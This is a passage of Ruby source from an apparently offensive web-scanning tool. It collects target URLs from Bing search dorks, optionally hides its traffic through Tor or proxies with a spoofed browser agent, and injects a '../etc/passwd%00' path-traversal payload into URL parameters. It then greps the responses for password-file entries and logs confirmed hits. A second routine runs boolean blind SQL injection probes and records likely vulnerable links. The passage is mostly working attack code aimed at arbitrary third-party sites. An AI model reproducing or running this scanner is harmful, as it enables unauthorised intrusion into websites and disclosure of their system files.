#RUN PROXY WITH AUTH
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
end
end
end
tracker=0
if @@tor == 'fuqya'
vchk = vchk.unpack('C*').pack('U*') if !vchk.valid_encoding?
if vchk =~ /(\w+:.:\d+:\d+:.+:.+:\/\w+\/\w+)/m
puts "Link: ".green + "#{injlnk.chomp}".yellow
puts "File Found: ".green + "/etc/passwd".yellow
passwdz = $1
puts "#{passwdz}".cyan
puts
vlinks = File.new("results/lfi-confirmed.txt", "a+") #Open our file handle
vlinks.puts "#{@injlnk}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker=2
end
else
passwdz=[]
vchk.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
if resp_line =~ /(\w+:.:\d+:\d+:.+:.+:\/\w+\/\w+)/
passwdz << $1
tracker=1
end
end
end
if tracker.to_i == 0
regexCheck(injlnk, vchk, key, value)
elsif tracker.to_i == 1
puts "Link: ".green + "#{injlnk.chomp}".yellow
puts "File Found: ".green + "/etc/passwd".yellow
puts "#{passwdz.join("\n")}".cyan
puts
vlinks = File.new("results/lfi-confirmed.txt", "a+")
vlinks.puts "#{@injlnk}"
vlinks.close
end
else #############<=ELSE SINGLE PARAMETER LINKS=>##############
injlnk = line.sub("#{value}", "../../../../../../../../../etc/passwd%00") #Set a injection link variable
@injlnk = injlnk
if @@tor == 'fuqya'
#TOR Request
baseurl = URI(injlnk)
vchk = Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body
else
if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
#RUN NORMAL REQUEST
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
else
if @@username == 'nada'
#RUN PROXY WITHOUT AUTH
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
else
#RUN PROXY WITH AUTH
vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
end
end
end
tracker=0
if @@tor == 'fuqya'
vchk = vchk.unpack('C*').pack('U*') if !vchk.valid_encoding?
if vchk =~ /(\w+:.:\d+:\d+:.+:.+:\/\w+\/\w+)/m
puts "Link: ".green + "#{injlnk.chomp}".yellow
puts "File Found: ".green + "/etc/passwd".yellow
passwdz = $1
puts "#{passwdz}".cyan
puts
vlinks = File.new("results/lfi-confirmed.txt", "a+") #Open our file handle
vlinks.puts "#{@injlnk}" #Write to file for safe keeping
vlinks.close #close our file handle we opened a minute ago
tracker=2
end
else
passwdz=[]
vchk.each do |resp_line|
resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
if resp_line =~ /(\w+:.:\d+:\d+:.+:.+:\/\w+\/\w+)/
passwdz << $1
tracker=1
end
end
end
if tracker.to_i == 0
regexCheck(injlnk, vchk, key, value)
elsif tracker.to_i == 1
puts "Link: ".green + "#{injlnk.chomp}".yellow
puts "File Found: ".green + "/etc/passwd".yellow
puts "#{passwdz.join("\n")}".cyan
puts
vlinks = File.new("results/lfi-confirmed.txt", "a+")
vlinks.puts "#{@injlnk}"
vlinks.close
end
end
end
#random HTTP errors, i.e. skip link but note error
rescue OpenURI::HTTPError => e
if e.to_s == "404 Not Found"
puts "\t=> #{e}".red
next
#############################################################
#Route to Blind Based INjection Tests for further review.....
#############################################################
elsif e.to_s == "500 Internal Server Error"
#something to scan page anyways for ASP stupid Winblows sites
puts "\t=> #{e}".red
puts "\tRunning additional checks".blue + ".....".yellow
foores = e.io.readlines
regexCheck(@injlnk, foores, @key, @value)
else
puts "\t=> #{e}".red
end
rescue Errno::EINVAL => e
puts "\t=> #{e}".yellow
rescue Net::HTTPBadResponse
puts "\t=> Problem reading response due to TOR, sorry".red + "......".yellow
rescue Errno::ECONNREFUSED
puts "\t=> Problem communicating with site, connection refused".red + "!".yellow
rescue Errno::EHOSTUNREACH
puts "\t=> Problem communicating with site, host unreachable".red + "!".yellow
rescue EOFError
puts "\t=> Problem communicating with site".red + "....".yellow
rescue SocketError
puts "\t=> Problem connecting to site".red + "....".yellow
rescue OpenSSL::SSL::SSLError
puts "\t=> Issues with Remote Host's OpenSSL Server Certificate".red + "....".yellow
rescue Errno::ENOENT
puts "\t=> Jacked URL parsing due to no value with parameter, sorry".red + "....".yellow
next
rescue Errno::ECONNRESET
puts "\t=> Problem connecting to site".red + "....".yellow
rescue RuntimeError => e
if e.to_s == 'Timeout::Error' # we took longer than read_timeout value said they could :p
puts "\t=> Connection Timeout".red + "!".cyan
#open-uri cant redirect properly from http to https due to a check it has built-in, so cant follow redirect :(
else
puts "\t=> Can't properly follow the redirect!".red
end
rescue Timeout::Error
#timeout of sorts...skip
puts "\t=> Connection Timeout!".red
rescue Errno::ETIMEDOUT
#timeout of sorts...skip
puts "\t=> Connection Timeout".red + "!".yellow
rescue TypeError
#Jacked up URL parsing or something like this....
puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".yellow
next
rescue URI::InvalidURIError
#Jacked up URL parsing or something like this....
puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".yellow
next
rescue NoMethodError => e
# If bad link cause error cause its not a link dont freak out....Dont do anything....got something better?
puts "Testing Link".red + ": ".cyan + "#{line.chomp}".yellow
puts "\t=> No Testable Paramaters!".red
#############################################################
## should we test sites with no parameters anyways? NOISY? ##
#############################################################
end
end
end
#Blind SQL Injection Test
def blindTest(num) #1=Single Dork, 2=File Option
puts "Commencing Blind Injection Tests".red + "....".cyan
File.open("results/links.txt", "r").each do |line|
if line =~ /r.msn.com/ or line =~ /bingads.microsoft.com/
next
end
begin
param = URI.parse(line).query #See if we cause any errors to weed out no parameter links....
#break paramaters into hash [ "key" => "value" ] formatting held in storage for easier manipulation
params = Hash[URI.parse(line).query.split('&').map{ |q| q.split('=') }]
puts "Testing Link".red + ": ".cyan + "#{line.chomp}".yellow
count=0
tracker=0
params.each do |key, value| #cycle through hash and print key and associated value
@key = key
@value = value
if params.length > 1 #Multiple Parameter Links
if count == 0
puts "\t=> Multiple Paramters, testing all".blue + "....".cyan
count += 1
end
injlnkTRUE = line.sub("#{value}", "#{value}%20and%205151%3D5151") #TRUE injection
@injlnkTRUE = injlnkTRUE
injlnkFALSE = line.sub("#{value}", "#{value}%20and%205151%3D5252") #FALSE injection
@injlnkFALSE = injlnkFALSE
if @@tor == 'fuqya'
#TOR Request
baseTRUE = URI(injlnkTRUE)
baseFALSE = URI(injlnkFALSE)
truerez = Tor::HTTP.get(baseTRUE.host, baseTRUE.request_uri, baseTRUE.port).body
falserez = Tor::HTTP.get(baseFALSE.host, baseFALSE.request_uri, baseFALSE.port).body
else
#Normal
if @@proxy == 'landofthelost'
#RUN NORMAL REQUEST
truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
else
if @@username == 'nada'
#RUN PROXY WITHOUT AUTH
truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
else
#RUN PROXY WITH AUTH
truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
end
end
end
if truerez.length != falserez.length
puts "\t=> Possible Blind SQL injection".green + "!".yellow
vlinks = File.new("results/sql-blind.txt", "a+")
vlinks.puts "#{@injlnkTRUE}"
vlinks.close
end
else #############<=ELSE SINGLE PARAMETER LINKS=>##############
injlnkTRUE = line.sub("#{value}", "#{value}%20and%205151%3D5151") #TRUE injection
@injlnkTRUE = injlnkTRUE
injlnkFALSE = line.sub("#{value}", "#{value}%20and%205151%3D5252") #FALSE injection
@injlnkFALSE = injlnkFALSE
if @@tor == 'fuqya'
#TOR Request
baseTRUE = URI(injlnkTRUE)
baseFALSE = URI(injlnkFALSE)
truerez = Tor::HTTP.get(baseTRUE.host, baseTRUE.request_uri, baseTRUE.port).body
falserez = Tor::HTTP.get(baseFALSE.host, baseFALSE.request_uri, baseFALSE.port).body
else
#Normal
if @@proxy == 'landofthelost'
#RUN NORMAL REQUEST
truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
else
if @@username == 'nada'
#RUN PROXY WITHOUT AUTH
truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
else
#RUN PROXY WITH AUTH
truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
end
end
end
if truerez.length != falserez.length
puts "\t=> Possible Blind SQL injection".green + "!".yellow
vlinks = File.new("results/sql-blind.txt", "a+")
vlinks.puts "#{@injlnkTRUE}"
vlinks.close
end
end
end
#random HTTP errors, i.e. skip link but note error
rescue OpenURI::HTTPError => e
if e.to_s == "404 Not Found"
puts "\t=> #{e}".red
next
#############################################################
#Route to Blind Based INjection Tests for further review.....
#############################################################
elsif e.to_s == "500 Internal Server Error"
#something to scan page anyways for ASP stupid Winblows sites
puts "\t=> #{e}".red
# puts "\tRunning additional checks".blue + ".....".yellow
# foores = e.io.readlines
# blindCheck(@injlnkTRUE, foores, @key, @value)
# blindCheck(@injlnkFALSE, foores, @key, @value)
else
puts "\t=> #{e}".red
end
rescue Net::HTTPBadResponse
puts "\t=> Problem reading response due to TOR, sorry".red + "......".yellow
rescue Errno::ECONNREFUSED
puts "\t=> Problem communicating with site, connection refused".red + "!".yellow
rescue Errno::EHOSTUNREACH
puts "\t=> Problem communicating with site, host unreachable".red + "!".yellow
rescue EOFError
puts "\t=> Problem communicating with site".red + "....".yellow
rescue SocketError
puts "\t=> Problem connecting to site".red + "....".yellow
rescue OpenSSL::SSL::SSLError
puts "\t=> Issues with Remote Host's OpenSSL Server Certificate".red + "....".yellow
rescue Errno::ENOENT
puts "\t=> Jacked URL parsing due to no value with parameter, sorry".red + "....".yellow
next
rescue Errno::EINVAL => e
puts "\t=> #{e}".yellow
rescue Errno::ECONNRESET
puts "\t=> Problem connecting to site".red + "....".yellow
rescue RuntimeError => e
if e.to_s == 'Timeout::Error' # we took longer than read_timeout value said they could :p
puts "\t=> Connection Timeout".red + "!".cyan
#open-uri cant redirect properly from http to https due to a check it has built-in, so cant follow redirect :(
else
puts "\t=> Can't properly follow the redirect!".red
end
rescue Timeout::Error
#timeout of sorts...skip
puts "\t=> Connection Timeout!".red
rescue Errno::ETIMEDOUT
#timeout of sorts...skip
puts "\t=> Connection Timeout".red + "!".yellow
rescue TypeError
#Jacked up URL parsing or something like this....
puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".yellow
next
rescue URI::InvalidURIError
#Jacked up URL parsing or something like this....
puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".yellow
next
rescue NoMethodError => e
# If bad link cause error cause its not a link dont freak out....Dont do anything....got something better?
puts "Testing Link".red + ": ".cyan + "#{line.chomp}".yellow
puts "\t=> No Testable Paramaters!".red
end
end
end
end
#Class for running queries through Bing Search Engine at bing.com
class BingSearch
def searchq(dork, geocode, num, ip) #dork = dork, geocode = country code domain type to search in, num=1 then write, num=2 append, ip to use with dork or nil if not needed
# Array of sites we want to avoid for one reason or another...add to the array as you like...
bad_sites = [ "bing.com", "msn.com", "microsoft.com", "yahoo.com", "live.com", "microsofttranslator.com", "irongeek.com", "tefneth-import.com", "hackforums.net", "freelancer.com", "facebook.com", "mozilla.org", "stackoverflow.com", "php.net", "wikipedia.org", "amazon.com", "4shared.com", "wordpress.org", "about.com", "phpbuilder.com", "phpnuke.org", "linearcity.hk", "youtube.com", "ptjaviergroup.com", "p4kurd.com", "tizag.com", "discoverbing.com", "devshed.com", "ashiyane.org", "owasp.org", "1923turk.com", "fictionbook.org", "silenthacker.do.am", "v4-team.com", "codingforums.com", "tudosobrehacker.com", "zymic.com", "forums.whirlpool.net.au", "gaza-hacker.com", "immortaltechnique.co.uk", "w3schools.com", "phpeasystep.com", "mcafee.com", "specialinterestarms.com", "pastesite.com", "pastebin.com", "joomla.org", "joomla.fr", "sourceforge.net", "joesjewelry.com" ]
#Print Dork in use and run...
if not ip == 'lol'
dip = "ip:#{ip}"
end
links=[] #blank array we will put our links in as we find them in our coming loop....
count=9 #base count for bing page reading loop
while count.to_i <= 225 do #Set while loop so we can grab ~20 pages of results
if not ip == 'lol'
if geocode == 'no-bounds'
bing = 'http://www.bing.com/search?q=' + dork.to_s + '&qs=n&pq=' + dork.to_s + '&sc=8-5&sp=-1&sk=&first=' + count.to_s + '&FORM=PORE' #Forms Our BING query link to use
else
bing = 'http://www.bing.com/search?q=' + dork.to_s + "%20" + geocode.to_s + '&qs=n&pq=' + dork.to_s + "%20" + geocode.to_s + '&sc=8-5&sp=-1&sk=&first=' + count.to_s + '&FORM=PORE'
end
else
if geocode == 'no-bounds'
bing = 'http://www.bing.com/search?q=' + dip + '+' + dork.to_s + '&qs=n&pq=' + dip + '+' + dork.to_s + '&sc=8-5&sp=-1&sk=&first=' + count.to_s + '&FORM=PORE' #Forms Our BING query link to use
else
bing = 'http://www.bing.com/search?q=' + dip + '+' + dork.to_s + "%20" + geocode.to_s + '&qs=n&pq=' + dip + '+' + dork.to_s + "%20" + geocode.to_s + '&sc=8-5&sp=-1&sk=&first=' + count.to_s + '&FORM=PORE'
end
end
begin
if @@tor == 'fuqya'
#TOR Request
baseurl = URI(bing)
page = Nokogiri::HTML(Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body)
else
if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
#RUN NORMAL REQUEST
page = Nokogiri::HTML(open(bing, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)'})) #Create an object we can parse with Nokogiri ;)
else
if @@username == 'nada'
#RUN PROXY WITHOUT AUTH
page = Nokogiri::HTML(open(bing, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :proxy => "#{@@proxy}"}))
else
#RUN PROXY WITH AUTH
page = Nokogiri::HTML(open(bing, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}))
end
end
end
possibles = page.css("a") #parse out the <a> elements which contain our href links
possibles.select do |link| #cycle through possibles array and print links found
begin
if link =~ /.+\.msn\.com\/.+/ or link =~ /.+advertise\.bingads\.microsoft\.com\/.+/
#DO NOTHING
else
url = URI.parse(link['href']) #use URI.parse to build check around for links
if url.scheme == 'http' || url.scheme =='https' #if full http(s):// passed then use link
links << link['href']
end
end
rescue URI::InvalidURIError => err
# If bad link cause error cause its not a link dont freak out....
#Dont do anything, just keep on moving....got something better?
end
end
# Use \r to write over previous line (currently causes blank until last one finishes, meh)
if num.to_i == 1
print "\r" + "Number of Links Found: ".blue + "#{links.length}".yellow